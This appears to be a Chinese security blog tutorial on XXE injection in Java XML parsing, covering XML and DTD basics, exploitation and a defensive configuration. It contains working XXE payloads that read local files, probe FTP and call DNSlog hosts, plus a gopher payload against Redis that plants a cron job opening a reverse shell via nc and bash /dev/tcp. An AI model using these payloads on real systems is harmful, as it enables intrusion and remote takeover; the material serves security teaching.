XXE原理,利用与修复详解

前言:

        XXE全称XML external entity injection ,也可以称为XML外部实体注入,目前XML格式广泛用于 Web 应用程序的各种功能,包括身份验证、文件传输和图像上传,等功能。

        总的来说XML是一种用来传输和存储数据的可扩展标记语言。而XXE是通过标记的外部实体,允许攻击者查看应用程序服务器文件系统上的文件,并通过服务器对外发送数据,进而访问一些外部无法访问的内部接口,类似SSRF。

漏洞原理:

XML结构:

        想了解XXE漏洞原因,首先我们需要了解XML的结构特征才可以更好的理解:

XML声明:

        <?xml version=”1.0” standalone=”yes” encoding=”UTF-8”?>

        这是一个XML处理指令。处理指令以 <? 开始,以 ?> 结束。<? 后的第一个单词是指令名,如xml, 代表XML声明。
    version, standalone, encoding 是三个特性,特性是由等号分开的名称-数值对,等号左边是特性名称,等号右边是特性的值,用引号引起来。其中

  • version: 说明这个文档符合1.0规范
  • standalone: 说明文档在这一个文件里还是需要从外部导入, standalone 的值设为yes 说明所有的文档都在这一文件里完成 
  • encoding: 指文档字符编码

 XML 根元素定义:

        XML文档的树形结构要求必须有一个根元素。根元素的起始标记要放在所有其它元素起始标记之前,根元素的结束标记根放在其它所有元素的结束标记之后,如

<?xml version="1.0" encoding="GB2312" standalone="no"?>
<users>
   <name>张三</name>
</users>

XML元素:

        元素的基本结构由 开始标记,数据内容,结束标记组成,如

<?xml version="1.0" encoding="GB2312" standalone="no"?>
<Person>
    <Name>Zhang San</Name>
    <Sex>Male</Sex>
</Person>

其中需要注意的是:

  • 元素标记区分大小写,<Name> 与 <name>是两个不同的标记
  • 结束标记必须有反斜杠,如 </Name>

XML元素标记命名规则如下:

  • 名字中可以包含字母,数字及其它字母
  • 名字不能以数字或下划线开头
  • 名字不能用xml开头
  • 名字中不能包含空格和冒号

PI  (Processing Instruction):

        PI 指 Processing Instruction, 处理指令。PI以“<?”开头,以“?>”结束,用来给下游的文档传递信息。

<?xml:stylesheet href=”core.css” type=”text/css” ?>

        例子表明这个XML文档用core.css控制显示。

PCDATA :

        #PCDATA: specifies that an element will contain parsed character data.
        举例说明PCDATA的用法, 其中movies.xml 存储电影内容数据,movies.dtd对movies.xml进行验证。

示例文件(movies.dtd):

<?xml version="1.0" encoding="GB2312"?>
<!ELEMENT movies (id, name, brief, time)>
<!ATTLIST movies type CDATA #REQUIRED>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT brief (#PCDATA)>
<!ELEMENT time (#PCDATA)>

id, name, brief, time只能包含非标记文本(不能有自己的子元素)。

XML文件如下所示(movies.xml):

<?xml version="1.0" encoding="GB2312"?>
<!DOCTYPE movies SYSTEM "movies.dtd">
<movies type="movies">
    <id>1</id>
    <name>致命摇篮</name>
    <brief>李连杰最新力作</brief>
    <time>2003</time>
</movies>

CDATA:

        CDATA用于需要把整段文本解释成纯字符数据而不是标记的情况。当一些文本中包含很多“<”,“>”,“&”,“””等字符而非标记时,CDATA会非常有用。

<Example>
    <![CDATA[
      <Person>
          <Name>ZhangSan</Name>
          <Sex>Male</Sex>
      </Person>
    ]]>
</Example>

Entities:

        Entities(实体)是XML的存储单元,一个实体可以是字符串,文件,数据库记录等。实体的用处主要是为了避免在文档中重复输入,我们可以为一个文档定义一个实体名,然后在文档里引用实体名来代替这个文档,XML解析文档时,实体名会被替换成相应的文档。

<!DOCTYPE example [
    <!ENTITY intro "Here is some comment for entity of XML">
]>
<example>
    <hello>&intro;</hello>
</example>

DOCTYPE 

        DTD声明始终以!DOCTYPE开头,空一格后跟着文档根元素的名称,这里就是我们XXE漏洞成因的关键位置,这里详细讲解下DTD,其中DTD分为:

  • 内部DTD
  • 外部DTD:
    • 私有DTD:使用SYSTEM表示,接着是外部DTD的URL.
    • 公共DTD:使用PUBLIC,接着是DTD公共名称,接着是DTD的URL.

内部DTD:

        首先看下内部DTD的格式:

<!DOCTYPE 根元素名 [<!ELEMENT 元素名 (元素类型定义)>]>

        如对下面这个xml文档的类型定义,我们可以使用内部的DTD格式来对节点进行检查,来确定XML结构和数据类型是否合法:

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE poem [
    <!ELEMENT poem (title,author,line+)>
    <!ELEMENT title (#PCDATA)>
    <!ELEMENT author (#PCDATA)>
    <!ELEMENT line (#PCDATA)>
]>
<poem>
    <title>静夜思</title>
    <author>李白</author>
    <line>床前明月光,</line>
    <line>疑事地上霜.</line>
    <line>举头望明月,</line>
    <line>低头思故乡.</line>
</poem>

外部DTD之私有DTD:

        如果吧DTD放在xml文档内部,一方面会带来xml文档变大,一些程序可能不需要DTD信息;另一方面不利于DTD共用,也许会有不同的xml文档共用这个DTD。这就是外部DTD存在的原因,私有DTD定义方法:

<!DOCTYPE  根元素名 SYSTEM "外部DTD文件的URI">
<!DOCTYPE poem SYSTEM "http://test.com/poem.dtd">
<poem>
 <title>静夜思</title>
 <author>李白</author>
 <line>床前明月光,</line>
 <line>疑事地上霜.</line>
 <line>举头望明月,</line>
 <line>低头思故乡.</line>
 <commet>李白是中国最伟大的诗人!</commet>
</poem>

http://test.com/poem.dtd内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT poem (title,author,line+,commet)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT line (#PCDATA)>
<!ELEMENT commet  (#PCDATA)>

        这样服务器就会去指定的网址去寻找dtd进行解析,这里需要注意,当我们可以控制这个url的时候,我们是不是就可以让服务器访问我们任意的服务器,所以XXE的漏洞就是因为允许外部访问,后续会详细讲解。

外部DTD之公共DTD:

       公共DTD的定义如下,主要使用关键字DOCTYPE,PUBLIC。

<!DOCTYPE  根元素名 PUBLIC "DTD的名称" "外部DTD文件的URI">
<!DOCTYPE poem PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN" 
"http://www.test.org/poem.dtd">
<poem>
<title>静夜思</title>
<author>李白</author>
<line>床前明月光,</line>
<line>疑事地上霜.</line>
<line>举头望明月,</line>
<line>低头思故乡.</line>
<commet>李白是中国最伟大的诗人!</commet>
</poem>

        -//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN",这是公共DTD的名称。这个东西命名是有些讲究的。首先它是以"-"开头的,表示这个DTD不是一个标准组织制定的。接着就是双斜杠“//”,跟着的是DTD所有者的名字,很明显这个DTD是sun公司定的。接着又是双斜杠“//”,然后跟着的是DTD描述的文档类型,可以看出这份DTD描述的是jsp 标签库1.2版本的格式。再跟着的就是“//”和ISO 639语言标识符。

XXE漏洞:

        有了上面的基础知识,我们其实可以发现XXE的根本原因就是因为定义了外部DTD进而导致的一系列的安全问题,下面我们编写个简单的代码进行验证:

Server端Java代码:

public class Main {
    public static void main(String[] args) {

        Main main = new Main();
        XmlReader();
    }
    public static void XmlReader() {
        DocumentBuilderFactory domfac = DocumentBuilderFactory.newInstance();
        try {
            DocumentBuilder domBuilder = domfac.newDocumentBuilder();
            InputStream is = Files.newInputStream(new File("D:\\code\\xxetest\\xxe\\src\\main\\java\\org\\example\\test.xml").toPath());
            Document doc = domBuilder.parse(is);
            Element root = doc.getDocumentElement();
            NodeList users = root.getChildNodes();
            for (int i = 0; i < users.getLength(); i++) {
                Node user = users.item(i);
                if (user.getNodeType() == Node.ELEMENT_NODE) {
                    for (Node node = user.getFirstChild(); node != null; node = node
                            .getNextSibling()) {
                        if (node.getNodeType() == Node.ELEMENT_NODE) {
                            if (node.getNodeName().equals("name")) {
                                String name = node.getNodeValue();
                                String name1 = node.getFirstChild()
                                        .getNodeValue();
                                System.out.println("name==" + name);
                                System.out.println("name1==" + name1);
                            }
                            if (node.getNodeName().equals("price")) {
                                String price = node.getFirstChild()
                                        .getNodeValue();
                                System.out.println(price);
                            }
                        }
                    }
                }
            }
            NodeList node = root.getElementsByTagName("string");
            for (int i = 0; i < node.getLength(); i++) {
                Node str = node.item(i);
                String s = str.getFirstChild().getNodeValue();
                System.out.println(s);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

下面是正常的XML代码:

<?xml version="1.0" encoding="GB2312" standalone="no"?>
<users>
    <user email="www.baidu.com">
        <name>张三</name>
        <age>18</age>
        <sex>男</sex>
    </user>
    <user>
        <name>李四</name>
        <age>16</age>
        <sex>女</sex>
    </user>
    <user>
        <name>王五</name>
        <age>25</age>
        <sex>不明</sex>
    </user>
</users>

运行后可以看到正常的解析:

但是如果我们修改xml的内容:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem SYSTEM "http://dxzxw3.dnslog.cn">
<poem></poem>

         这里当解析我们上传的xml的时候会去访问dxzxw3.dnslog.cn,这里我们执行下看看是不是和我们想的一样:

         可以看到成功的访问了我们的dnslog平台,下面我们尝试使用公共DTD的外部引用看看能不能成功:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN" 
"http://0zbc0e.dnslog.cn">
<poem></poem>

        执行后同样可以看到成功访问我们的DNSLOG平台:

        这里就可以知道我们在测试服务器是否存在xxe漏洞的时候,只要使用公共或私有DTD配合dnslog平台进行检查,关键字为 PUBLIC 或SYSTEM ,另外在http头要注明为xml方式解析:

Content-Type: text/xml
Content-Type: application/xml

XXE进阶:

        上面我们主要是介绍了我们如何快速检测一个网址是否存在XXE漏洞,当网站不存在回显的时候我们可以使用上述的进行检测,当时网站存在回显的时候我们要如何配合其他协议进行更多的攻击,如何我们想读取系统文件,下面的方式可以吗?

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
<users>
    <user>
        <name>李四</name>
        <age>16</age>
        <sex>女</sex>
    </user>
</users>

          这样写是错误的因为我们没有对读取的文件进行输出,其次这样读取到的文件也不符合dtd的检测会报错:

      那我们如何读取文件,这个时候要用ENTITY,将读取到的内容引用到正确的标签进行输入:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
        <!ENTITY test SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
        ]>
<users>
    <user>
        <name>&test;</name>
        <age>16</age>
        <sex>女</sex>
    </user>
</users>

         执行后我们可以看到成功的读取到了内容,并输出:

         另外实验公共DTD也可以:

<!DOCTYPE users [
        <!ENTITY test PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN"
                "file:///c:/windows/system32/drivers/etc/hosts">
        ]>

        那么可以说只要是支持的协议我们都可以进行利用:

        

        我们这里测试java,php等不做说明,java中最后调用的是URL模块,jdk1.8种url模块仅支持7种协议,但是jdk1.7支持8种协议

jdk1.8支持: file,ftp,http,https,jar,mailto,netdoc
jdk1.7支持: file,ftp,http,https,jar,mailto,netdoc,gopher

        jdk1.7虽然支持gopher,但是需要开发者开启对这个协议的支持,有点鸡肋。

Jar协议利用:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
        <!ENTITY test SYSTEM "jar:file:///D:/test/drools-compiler.jar!/META-INF/MANIFEST.MF">
        ]>
<users>
    <user>
        <name>&test;</name>
        <age>16</age>
        <sex>女</sex>
    </user>
</users>

        这里需要注意,如果读取内容为class文件,会因为class中有特殊字符或者过大导致异常

当内网中存在ftp未授权漏洞的时候可以使用ftp协议读取目录:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
        <!ENTITY test SYSTEM "ftp://127.0.0.1:21">
        ]>
<users>
    <user>
        <name>&test;</name>
    </user>
</users>

gopher协议 :

        虽然jdk需要手工设置才能使用gopher协议,但是本着研究的态度这里还是测试下,使用gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务,这里我们简单的对mysql进行测试:

        gopher://ip:port/_TCP/IP数据流

注意:

  • gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行
  • 数据流末尾使用%0d%0a代表消息结束

查看url代码可以看到这里会判断是否为gopher协议,如果是就要判断enableGopher是否为Trule:

 但是这里可以看到默认值为false,这里将其修改为true。

        这里我才用反射的方法进行修改,因为其修饰符为private static final,所以使用下列代码进行修改:

public class Main {

    private static Unsafe unsafe;

    static{
        try{
            final Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
            unsafeField.setAccessible(true);
            unsafe = (Unsafe) unsafeField.get(null);
        }catch(Exception ex){
            ex.printStackTrace();
        }
    }

    public static void setFinalStatic(Field field, Object value) {
        try {
            Object fieldBase = unsafe.staticFieldBase(field);
            long fieldOffset = unsafe.staticFieldOffset(field);
            unsafe.putObject(fieldBase, fieldOffset, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws Exception {

        Main main = new Main();
        XmlReader();
    }

    public static void XmlReader() throws Exception {
        //URL url = new URL("gopher://192.168.4.243:6379");


        String class_name = "java.net.URL";
        Class urlclass = Class.forName(class_name);

        Field field = urlclass.getDeclaredField("enableGopher");

        field.setAccessible(true);
        boolean back = (boolean) field.get(urlclass);

        Main.setFinalStatic(field, true);

        DocumentBuilderFactory domfac = DocumentBuilderFactory.newInstance();
        try {
            DocumentBuilder domBuilder = domfac.newDocumentBuilder();
            InputStream is = Files.newInputStream(new File("D:\\code\\xxetest\\xxe\\src\\main\\java\\org\\example\\test.xml").toPath());

            Document doc = domBuilder.parse(is);
            Element root = doc.getDocumentElement();
            NodeList users = root.getChildNodes();
            for (int i = 0; i < users.getLength(); i++) {
                Node user = users.item(i);
                if (user.getNodeType() == Node.ELEMENT_NODE) {
                    for (Node node = user.getFirstChild(); node != null; node = node
                            .getNextSibling()) {
                        if (node.getNodeType() == Node.ELEMENT_NODE) {
                            if (node.getNodeName().equals("name")) {
                                String name = node.getNodeValue();
                                String name1 = node.getFirstChild()
                                        .getNodeValue();
                                System.out.println("name==" + name);
                                System.out.println("name1==" + name1);
                            }
                            if (node.getNodeName().equals("price")) {
                                String price = node.getFirstChild()
                                        .getNodeValue();
                                System.out.println(price);
                            }
                        }
                    }
                }
            }
            NodeList node = root.getElementsByTagName("string");
            for (int i = 0; i < node.getLength(); i++) {
                Node str = node.item(i);
                String s = str.getFirstChild().getNodeValue();
                System.out.println(s);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

使用Gopherus来生成:

 将生成的放入xml中:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
        <!ENTITY test SYSTEM "gopher://192.168.4.243:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2451%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20nc%20-e%20/bin/bash%20192.168.4.243%201234%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2424%0D%0A/var/spool/cron/crontabs%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A">
        ]>
<users>
    <user>
        <name>&test;</name>
        <age>16</age>
        <sex>女</sex>
    </user>
</users>

       正常我们添加定时任务命令:

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.4.243/1234 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

Centos 的定时任务文件在 /var/spool/cron/<username>
Ubuntu 的定时任务文件在 /var/spool/cron/crontabs/<username>

        运行后可以看到在/var/spool/cron/crontabs下新建了root文件:

 成功反弹shell

 XXE防御:

         其实XXE的防御也很简单,只要禁止实用DTD加载外部实体即可

         目前官方提供的三种保护模式:

javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD: A list of protocols by which external DTDs and external entity references may be accessed.

javax.xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA: A list of protocols via which external schema references, specified by the schemaLocation attribute of import and include elements, may be resolved.

javax.xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET: A list of protocols via which external references specified in stylesheet constructs such as processing instructions, document() functions, import elements, and include elements may be resolved.

        在代码中进行设置即可,以DocumentBuilderFactory为例:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

总结:

        在测试中只要有上传点或者存在上传xml数据的地方均可能存在XXE漏洞,根据实际的返回情况可以判断是否可以读取文件或者进行内网扫描。

        XXE的漏洞原理也很简单,本质上就是xml的外部引用功能可能会被用来恶意利用,可以根据允许的协议,进行SSRF或者本地文件读取漏洞。

猜你喜欢

转载自blog.csdn.net/GalaxySpaceX/article/details/131792450
xxe
今日推荐